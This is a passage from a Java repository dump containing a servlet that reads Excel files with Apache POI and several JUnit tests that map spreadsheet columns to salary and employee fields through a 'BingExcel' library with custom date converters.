value);\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_NUMERIC:\n\t\t\t\t\tif (\"@\".equals(cell.getCellStyle().getDataFormatString())) {\n\t\t\t\t\t\tvalue = df.format(cell.getNumericCellValue());\n\t\t\t\t\t} else if (\"General\".equals(cell.getCellStyle()\n\t\t\t\t\t\t\t.getDataFormatString())) {\n\t\t\t\t\t\tvalue = nf.format(cell.getNumericCellValue());\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = sdf.format(HSSFDateUtil.getJavaDate(cell\n\t\t\t\t\t\t\t\t.getNumericCellValue()));\n\t\t\t\t\t}\n\t\t\t\t\tSystem.out.println(i + \"行\" + j\n\t\t\t\t\t\t\t+ \" 列 is Number type ; DateFormt:\"\n\t\t\t\t\t\t\t+ cell.getCellStyle().getDataFormatString()\n\t\t\t\t\t\t\t+ \"\\tValue:\" + value);\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_BOOLEAN:\n\t\t\t\t\tvalue = cell.getBooleanCellValue();\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is Boolean type\"\n\t\t\t\t\t\t\t+ \"\\tValue:\" + value);\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_BLANK:\n\t\t\t\t\tvalue = \"\";\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is Blank type\"\n\t\t\t\t\t\t\t+ \"\\tValue:\" + value);\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tvalue = cell.toString();\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is default type\"\n\t\t\t\t\t\t\t+ \"\\tValue:\" + value);\n\t\t\t\t}\n\t\t\t\tif (value == null || \"\".equals(value)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlinked.add(value);\n\t\t\t}\n\t\t\tlist.add(linked);\n\t\t}\n\t\treturn list;\n\t}\n\n\t/**\n\t * 读取Office 2007 excel\n\t * */\n\tprivate List<List<Object>> read2007Excel(File file) throws IOException {\n\t\tList<List<Object>> list = new LinkedList<List<Object>>();\n\t\t// 构造 XSSFWorkbook 对象，strPath 传入文件路径\n\t\tXSSFWorkbook xwb = new XSSFWorkbook(new FileInputStream(file));\n\t\t// 读取第一章表格内容\n\t\tXSSFSheet sheet = xwb.getSheetAt(0);\n\t\tObject value = null;\n\t\tXSSFRow row = null;\n\t\tXSSFCell cell = null;\n\t\tint counter = 0;\n\t\tfor (int i = sheet.getFirstRowNum(); counter < sheet\n\t\t\t\t.getPhysicalNumberOfRows(); i++) {\n\t\t\trow = sheet.getRow(i);\n\t\t\tif (row == null) {\n\t\t\t\tcontinue;\n\t\t\t} else {\n\t\t\t\tcounter++;\n\t\t\t}\n\t\t\tList<Object> linked = new LinkedList<Object>();\n\t\t\tfor (int j = row.getFirstCellNum(); j <= row.getLastCellNum(); j++) {\n\t\t\t\tcell = row.getCell(j);\n\t\t\t\tif (cell == null) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tDecimalFormat df = new DecimalFormat(\"0\");// 格式化 number String\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// 字符\n\t\t\t\tSimpleDateFormat sdf = new SimpleDateFormat(\n\t\t\t\t\t\t\"yyyy-MM-dd HH:mm:ss\");// 格式化日期字符串\n\t\t\t\tDecimalFormat nf = new DecimalFormat(\"0.00\");// 格式化数字\n\t\t\t\tswitch (cell.getCellType()) {\n\t\t\t\tcase XSSFCell.CELL_TYPE_STRING:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is String type\");\n\t\t\t\t\tvalue = cell.getStringCellValue();\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_NUMERIC:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j\n\t\t\t\t\t\t\t+ \" 列 is Number type ; DateFormt:\"\n\t\t\t\t\t\t\t+ cell.getCellStyle().getDataFormatString());\n\t\t\t\t\tif (\"@\".equals(cell.getCellStyle().getDataFormatString())) {\n\t\t\t\t\t\tvalue = df.format(cell.getNumericCellValue());\n\t\t\t\t\t} else if (\"General\".equals(cell.getCellStyle()\n\t\t\t\t\t\t\t.getDataFormatString())) {\n\t\t\t\t\t\tvalue = nf.format(cell.getNumericCellValue());\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvalue = sdf.format(HSSFDateUtil.getJavaDate(cell\n\t\t\t\t\t\t\t\t.getNumericCellValue()));\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_BOOLEAN:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is Boolean type\");\n\t\t\t\t\tvalue = cell.getBooleanCellValue();\n\t\t\t\t\tbreak;\n\t\t\t\tcase XSSFCell.CELL_TYPE_BLANK:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is Blank type\");\n\t\t\t\t\tvalue = \"\";\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\tSystem.out.println(i + \"行\" + j + \" 列 is default type\");\n\t\t\t\t\tvalue = cell.toString();\n\t\t\t\t}\n\t\t\t\tif (value == null || \"\".equals(value)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlinked.add(value);\n\t\t\t}\n\t\t\tlist.add(linked);\n\t\t}\n\t\treturn list;\n\t}\n\n\t@Override\n\tprotected void doPost(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tdoGet(request, response);\n\t}\n\n\t@Override\n\tprotected void doGet(HttpServletRequest request,\n\t\t\tHttpServletResponse response) throws ServletException, IOException {\n\t\tString docsPath = request.getSession().getServletContext()\n\t\t\t\t.getRealPath(\"docs\");\n\t\tString fileName = \"testRead.xls\";\n\t\tString filePath = docsPath;\n\t\tif (EPlatform.Windows.equals(OSinfo.getOSname())) {\n\t\t\tfilePath = filePath + \"\\\\\" + fileName;\n\t\t} else {\n\t\t\tfilePath = filePath + \"/\" + fileName;\n\t\t}\n\t\tList<List<Object>> list = readExcel(new File(filePath));\n\t\trequest.setAttribute(\"list\", list);\n\t\tRequestDispatcher dispatcher = request\n\t\t\t\t.getRequestDispatcher(\"/read.jsp\");\n\t\tdispatcher.forward(request, response);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/common/Builder.java",
    "content": "package com.jun.plugin.poi.test.common;\n\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\n\n/**\n * @author Wujun\n *\n * @date 2015-12-17\n * Description:  \n */\npublic interface Builder<T> {\n\t\n\tT builder();\n\n\tBuilder<T> registerFieldConverter(Class<?> clazz,\n\t\t\tFieldValueConverter converter);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/ReadTest.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.URISyntaxException;\nimport java.net.URL;\n\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.google.common.base.Objects;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl.SheetVo;\n\npublic class ReadTest {\n\n\t@Test\n\tpublic void readExcelTest() throws URISyntaxException {\n\t\t// InputStream in = Person.class.getResourceAsStream(\"/person.xlsx\");\n\t\tURL url = Person.class.getResource(\"/person.xlsx\");\n\t\tFile f = new File(url.toURI());\n\n\t\tBingExcel bing = BingExcelBuilder.toBuilder().builder();\n\t\ttry {\n\t\t\tSheetVo<Person> vo = bing.readFile(f, Person.class, 1);\n\t\t\tSystem.out.println(vo.getSheetIndex());\n\t\t\tSystem.out.println(vo.getSheetName());\n\t\t\tSystem.out.println(vo.getObjectList());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\t@Test\n\tpublic void readExcelTest2() throws URISyntaxException {\n\t\tInputStream in = Person.class.getResourceAsStream(\"/person.xls\");\n\t\t\n\t\tBingExcel bing = BingExcelBuilder.builderInstance();\n\t\ttry {\n\t\t\tSheetVo<Person> vo = bing.readStream(in, Person.class, 1);\n\t\t\tSystem.out.println(vo.getSheetIndex());\n\t\t\tSystem.out.println(vo.getSheetName());\n\t\t\tSystem.out.println(vo.getObjectList());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\tif(in!=null){\n\t\t\t\ttry {\n\t\t\t\t\tin.close();\n\t\t\t\t} catch (IOException e) {\n\t\t\t\t\te.printStackTrace();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t}\n\tpublic static class Person {\n\t\t@CellConfig(index = 1)\n\t\tprivate int age;\n\t\t//@CellConfig(index = 0,readRequired=true)\n\t\t@CellConfig(index = 0)\n\t\tprivate String name;\n\t\t@CellConfig(index = 3)\n\t\tprivate Double salary;\n\n\t\tpublic String getName() {\n\t\t\treturn name;\n\t\t}\n\n\t\tpublic void setName(String name) {\n\t\t\tthis.name = name;\n\t\t}\n\n\t\tpublic int getAge() {\n\t\t\treturn age;\n\t\t}\n\n\t\tpublic Double getSalary() {\n\t\t\treturn salary;\n\t\t}\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"name\", name).add(\"age\", age).add(\"salary\", salary)\n\t\t\t\t\t.toString();\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/ReadTest2.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.beans.ConstructorProperties;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.lang.reflect.Type;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.annotation.BingConvertor;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl.SheetVo;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\nimport com.jun.plugin.poi.test.utils.StringParseUtil;\n\npublic class ReadTest2 {\n\n\t@Test\n\tpublic void readExcelTest() throws URISyntaxException {\n\t\t// InputStream in = Person.class.getResourceAsStream(\"/person.xlsx\");\n\t\tURL url = Salary.class.getResource(\"/salary.xlsx\");\n\t\tFile f = new File(url.toURI());\n\n\t\tBingExcel bing = BingExcelBuilder.toBuilder().builder();\n\t\ttry {\n\t\t\tSheetVo<Salary> vo = bing.readFile(f, Salary.class, 1);\n\t\t\tSystem.out.println(vo.getSheetIndex());\n\t\t\tSystem.out.println(vo.getSheetName());\n\t\t\tList<Salary> objectList = vo.getObjectList();\n\t\t\tfor (Salary salary : objectList) {\n\t\t\t\tSystem.out.println(salary);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tpublic static class Salary {\n\t\t\n\t\t@CellConfig(index = 1)\n\t\tprivate String employNum;\n\t\t\n\t\t@CellConfig(index = 0)\n\t\tprivate String id;\n\t\t\n\t\t@CellConfig(index = 12)\n\t\tprivate Double salary;\n\t\t\n\t\t@CellConfig(index = 11)\n\t\tprivate double trueSalary;\n\t\t\n\t\t@CellConfig(index = 14)\n\t\tprivate Date trueDate;\n\t\t\n\t\t@CellConfig(index = 13)\n\t\t@BingConvertor(DateTestConverter.class)//自定义转换器\n\t\tprivate Date atypiaDate;\n\t\t@CellConfig(index = 15)\n\t\t@BingConvertor(DateTestConverter.class)//自定义转换器\n\t\tprivate Date entryTime;\n\t\t\n\t\t\n\t\t\n\t\t// 其他不对应的属性可以这样定义\n\t\tprivate transient String test;\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"id\", id).add(\"employNum\", employNum)\n\t\t\t\t\t.add(\"salary\", salary).add(\"trueSalary\", trueSalary)\n\t\t\t\t\t.add(\"trueDate\", trueDate)\n\t\t\t\t\t .add(\"atypiaDate\", atypiaDate)\n\t\t\t\t\t .add(\"entryTime\", entryTime)\n\t\t\t\t\t.toString();\n\t\t}\n\t}\n\n\tpublic static class DateTestConverter extends AbstractFieldConvertor {\n\n\n\t\t\n\n\n\t\n\n\t\t@Override\n\t\tpublic boolean canConvert(Class<?> clz) {\n\t\t\treturn clz.equals(Date.class);\n\t\t}\n\n\t\t@Override\n\t\tpublic Object fromString(String cell, ConverterHandler converterHandler,Type type) {\n\t\t\tif (StringUtils.isBlank(cell)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\ttry {\n\t\t\t\treturn StringParseUtil.convertYMDT2Date(cell);\n\t\t\t} catch (ParseException e) {\n\t\t\t\t\n\t\t\t\tthrow new RuntimeException(e);\n\t\t\t}\n\t\t}\n\n\t\t\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/ReadTest3.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.io.File;\nimport java.lang.reflect.Type;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.text.ParseException;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.annotation.BingConvertor;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.BooleanFieldConverter;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl.SheetVo;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\nimport com.jun.plugin.poi.test.utils.StringParseUtil;\n\npublic class ReadTest3 {\n\n\t@Test\n\tpublic void readExcelTest() throws URISyntaxException {\n\t\t// InputStream in = Person.class.getResourceAsStream(\"/person.xlsx\");\n\t\tURL url = Salary.class.getResource(\"/salary.xlsx\");\n\t\tFile f = new File(url.toURI());\n\n\t\tBingExcel bing = BingExcelBuilder.toBuilder().builder();\n\t\ttry {\n\t\t\tSheetVo<Salary> vo = bing.readFile(f, Salary.class, 1);\n\t\t\tSystem.out.println(vo.getSheetIndex());\n\t\t\tSystem.out.println(vo.getSheetName());\n\t\t\tList<Salary> objectList = vo.getObjectList();\n\t\t\tfor (Salary salary : objectList) {\n\t\t\t\tSystem.out.println(salary);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tenum Department {\n\t\tdevelop, personnel, product;\n\t}\n\n\tpublic static class Salary {\n\n\t\t@CellConfig(index = 1)\n\t\tprivate String employNum;\n\n\t\t@CellConfig(index = 0)\n\t\tprivate String id;\n\t\t//默认的boolean类型只支持\"TRUE\", \"FALSE\"字符的转换，但是它自带了传参数的构造方法，具体可以参考源码，\n\t\t@CellConfig(index = 8)\n\t\t@BingConvertor(value = BooleanFieldConverter.class, strings = { \"1\",\"0\" }, booleans = { false })\n\t\tprivate boolean allDay;\n\n\t\t@CellConfig(index=7)\n\t\tprivate Department department;//枚举类型\n\t\t\n\t\t@CellConfig(index = 13)\n\t\t@BingConvertor(DateTestConverter.class)\n\t\t// 自定义转换器\n\t\tprivate Date atypiaDate;\n\t\t@CellConfig(index = 14)\n\t\tprivate Date entryTime;\n\n\t\t// 其他变量可以这样定义。\n\t\tprivate transient String test;\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"id\", id).add(\"employNum\", employNum)\n\t\t\t\t\t.add(\"allDay\", allDay)\n\t\t\t\t\t.add(\"atypiaDate\", atypiaDate)\n\t\t\t\t\t.add(\"department\", department)\n\t\t\t\t\t.add(\"entryTime\", entryTime).toString();\n\t\t}\n\t}\n\n\tpublic static class DateTestConverter extends AbstractFieldConvertor {\n\n\t\t@Override\n\t\tpublic boolean canConvert(Class<?> clz) {\n\t\t\treturn clz.equals(Date.class);\n\t\t}\n\t\t@Override\n\t\tpublic Object fromString(String cell, ConverterHandler converterHandler,Type type) {\n\n\t\t\tif (StringUtils.isBlank(cell)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\ttry {\n\t\t\t\t//return StringParseUtil.convertYMDT2Date(cell);项目中的util类\n\t\t\t\tSimpleDateFormat format=new SimpleDateFormat(\"yyyy.MM.dd\");\n\t\t\t\tDate date = format.parse(cell);\n\t\t\t\treturn date;\n\t\t\t} catch (ParseException e) {\n\t\t\t\tthrow new RuntimeException(e);\n\t\t\t}\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/ReadTest4.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.io.File;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.text.ParseException;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.annotation.BingConvertor;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.annotation.OutAlias;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.BooleanFieldConverter;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\nimport com.jun.plugin.poi.test.excel.core.ReaderCondition;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl.SheetVo;\nimport com.jun.plugin.poi.test.utils.StringParseUtil;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-23\n * Description:  \n */\npublic class ReadTest4 {\n\n\t@Test\n\tpublic void readExcelTest() throws URISyntaxException {\n\t\t// InputStream in = Person.class.getResourceAsStream(\"/person.xlsx\");\n\t\tURL url = Salary.class.getResource(\"/salary4.xlsx\");\n\t\tFile f = new File(url.toURI());\n\n\t\tBingExcel bing = BingExcelBuilder.toBuilder().builder();\n\t\ttry {\n\t\t\tReaderCondition<Salary> condition1=new ReaderCondition<>(0,1,Salary.class);\n\t\t\tReaderCondition<Person> condition2=new ReaderCondition<>(1,1,Person.class);\n\t\t\tReaderCondition[] arr=new ReaderCondition[]{condition1,condition2};\n\t\t\tList<SheetVo> list = bing.readFileToList(f, arr);\n\t\t\tfor (SheetVo sheetVo : list) {\n\t\t\t\tSystem.out.println(sheetVo.getSheetIndex()+\":\"+sheetVo.getSheetName());\n\t\t\t\tList list2 = sheetVo.getObjectList();\n\t\t\t\tfor (Object object : list2) {\n\t\t\t\t\tSystem.out.println(object);\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tenum Department {\n\t\tdevelop, personnel, product;\n\t}\n\tpublic static class Salary {\n\n\t\t@CellConfig(index = 1)\n\t\tprivate String employNum;\n\n\t\t@CellConfig(index = 0)\n\t\tprivate String id;\n\n\t\t@CellConfig(index = 7)\n\t\tprivate Department department;// 枚举类型\n\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"id\", id).add(\"employNum\", employNum)\n\t\t\t\t\t.add(\"department\", department)\n\t\t\t\t\t.toString();\n\t\t}\n\t}\n\n\tpublic static class Person {\n\t\t@CellConfig(index = 0)\n\t\tprivate String id;\n\t\t@CellConfig(index = 2)\n\t\tprivate String name;\n\t\t@CellConfig(index = 1)\n\t\tprivate String num;\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(getClass()).add(\"name\", name)\n\t\t\t\t\t.add(\"id\", id).add(\"num\", num).toString();\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/ReadTest7.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.io.File;\nimport java.lang.reflect.Type;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.text.ParseException;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.ReadTestGlobalConverter6.EmploryAttribute;\nimport com.jun.plugin.poi.test.excel.annotation.BingConvertor;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.annotation.OutAlias;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.BooleanFieldConverter;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\nimport com.jun.plugin.poi.test.excel.core.ReaderCondition;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl.SheetVo;\nimport com.jun.plugin.poi.test.utils.StringParseUtil;\n\n/**\n * @author Wujun\n * \n * @date 2016-3-23 Description:\n */\npublic class ReadTest7 {\n\n\t@Test\n\tpublic void readExcelTest() throws URISyntaxException {\n\t\t// InputStream in = Person.class.getResourceAsStream(\"/person.xlsx\");\n\t\tURL url = Salary.class.getResource(\"/salary7.xlsx\");\n\t\tFile f = new File(url.toURI());\n\n\t\tBingExcel bing = BingExcelBuilder.toBuilder().registerFieldConverter(Date.class, new MyDateConverter()).builder();\n\t\ttry {\n\t\t\tReaderCondition<Salary> condition = new ReaderCondition<>(0, 1,\n\t\t\t\t\tSalary.class);\n\t\t\tSheetVo vo = bing.readFile(f, condition);\n\t\t\tList objectList = vo.getObjectList();\n\t\t\tfor (Object object : objectList) {\n\t\t\t\tSystem.out.println(object);\n\t\t\t\tfor (Date item : ((Salary)object).workingTime) {\n\t\t\t\t\tSystem.out.println(item);\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\t@OutAlias(\"hghg\")\n\tpublic static class Salary {\n\n\t\t@CellConfig(index = 1)\n\t\tprivate String employNum;\n\t\t@CellConfig(index = 10)\n\t\tprivate Date[] workingTime;\n\t\t@CellConfig(index = 11)\n\t\tprivate String[] team;\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"employNum\", employNum)\n\t\t\t\t\t.add(\"workingTime\", workingTime).add(\"team\", team)\n\t\t\t\t\t.toString();\n\t\t}\n\t}\n\tpublic static class MyDateConverter extends AbstractFieldConvertor{\n\n\t\t@Override\n\t\tpublic boolean canConvert(Class<?> clz) {\n\t\t\t\n\t\t\treturn Date.class.isAssignableFrom(clz);\n\t\t}\n\n\t\t@Override\n\t\tpublic Object fromString(String cell, ConverterHandler converterHandler,Type type) {\n\t\t\tif (StringUtils.isBlank(cell)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\ttry {\n\t\t\t\treturn StringParseUtil.convertYMDT2Date(cell);\n\t\t\t} catch (ParseException e) {\n\n\t\t\t\tthrow new RuntimeException(e);\n\t\t\t}\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/ReadTestEventModel5.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.io.File;\nimport java.lang.reflect.Type;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.text.ParseException;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.excel.annotation.BingConvertor;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.BooleanFieldConverter;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEvent;\nimport com.jun.plugin.poi.test.excel.core.BingExcelEventBuilder;\nimport com.jun.plugin.poi.test.excel.core.BingReadListener;\nimport com.jun.plugin.poi.test.excel.core.handler.ConverterHandler;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelEventImpl.ModelInfo;\nimport com.jun.plugin.poi.test.excel.core.impl.BingExcelImpl.SheetVo;\nimport com.jun.plugin.poi.test.excel.vo.OutValue;\nimport com.jun.plugin.poi.test.utils.StringParseUtil;\n\n/**\n * @author Wujun\n *\n * @date 2016-3-23\n * Description:  \n */\npublic class ReadTestEventModel5 {\n\n\t@Test\n\tpublic void readExcelTest() throws URISyntaxException {\n\t\t// InputStream in = Person.class.getResourceAsStream(\"/person.xlsx\");\n\t\tURL url = Salary.class.getResource(\"/salaryEvent.xlsx\");\n\t\tFile f = new File(url.toURI());\n\t\t//event模式读取数据\n\t\tBingExcelEvent bing = BingExcelEventBuilder.toBuilder().builder();\n\t\ttry {\n\t\t\tlong st = System.currentTimeMillis();\n\t\t\t bing.readFile(f, Salary.class, 1,new tempListener());\n\t\t\t System.out.println((System.currentTimeMillis()-st)/1000);\n\t\t\t\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\n\tenum Department {\n\t\tdevelop, personnel, product;\n\t}\n\n\tpublic static class Salary {\n\n\t\t@CellConfig(index = 0)\n\t\tprivate String employID;\n\n\t\t\n\t\t\n\t\t@CellConfig(index = 13)\n\t\t@BingConvertor(DateTestConverter.class)\n\t\t// 自定义转换器\n\t\tprivate Date atypiaDate;\n\t\t@CellConfig(index = 15)\n\t\t@BingConvertor(DateTestConverter.class)\n\t\t// 自定义转换器\n\t\tprivate Date entryTime;\n\n\t\t\n\n\t\tpublic String toString() {\n\t\t\treturn MoreObjects.toStringHelper(this.getClass()).omitNullValues()\n\t\t\t\t\t.add(\"employID\", employID)\n\t\t\t\t\t.add(\"atypiaDate\", atypiaDate)\n\t\t\t\t\t.add(\"entryTime\", entryTime).toString();\n\t\t}\n\t}\n\n\tpublic static class DateTestConverter  extends AbstractFieldConvertor {\n\n\t\t\n\n\t\t@Override\n\t\tpublic boolean canConvert(Class<?> clz) {\n\t\t\treturn clz.equals(Date.class);\n\t\t}\n\n\t\t@Override\n\t\tpublic Object fromString(String cell, ConverterHandler converterHandler,Type type) {\n\n\t\t\tif (StringUtils.isBlank(cell)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\ttry {\n\t\t\t\treturn StringParseUtil.convertYMDT2Date(cell);\n\t\t\t} catch (ParseException e) {\n\n\t\t\t\tthrow new RuntimeException(e);\n\t\t\t}\n\t\t}\n\n\t\t\n\n\t}\n\t\n\tpublic static class tempListener implements BingReadListener{\n\n\t\t@Override\n\t\tpublic void readModel(Object object, ModelInfo modelInfo) {\n\t\t\t\n\t\t\tSystem.out.println(modelInfo+\":\"+object);\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/ReadTestGlobalConverter6.java",
    "content": "package com.jun.plugin.poi.test.excel;\n\nimport java.io.File;\nimport java.lang.reflect.Type;\nimport java.net.URISyntaxException;\nimport java.net.URL;\nimport java.text.ParseException;\nimport java.util.Date;\nimport java.util.List;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.junit.Test;\n\nimport com.google.common.base.MoreObjects;\nimport com.jun.plugin.poi.test.common.Builder;\nimport com.jun.plugin.poi.test.excel.annotation.BingConvertor;\nimport com.jun.plugin.poi.test.excel.annotation.CellConfig;\nimport com.jun.plugin.poi.test.excel.converter.AbstractFieldConvertor;\nimport com.jun.plugin.poi.test.excel.converter.FieldValueConverter;\nimport com.jun.plugin.poi.test.excel.converter.base.BooleanFieldConverter;\nimport com.jun.plugin.poi.test.excel.core.BingExcel;\nimport com.jun.plugin.poi.test.excel.core.BingExcelBuilder;\nimport com.jun.plugin.poi.test.excel.core.ReaderCondition;\nimport 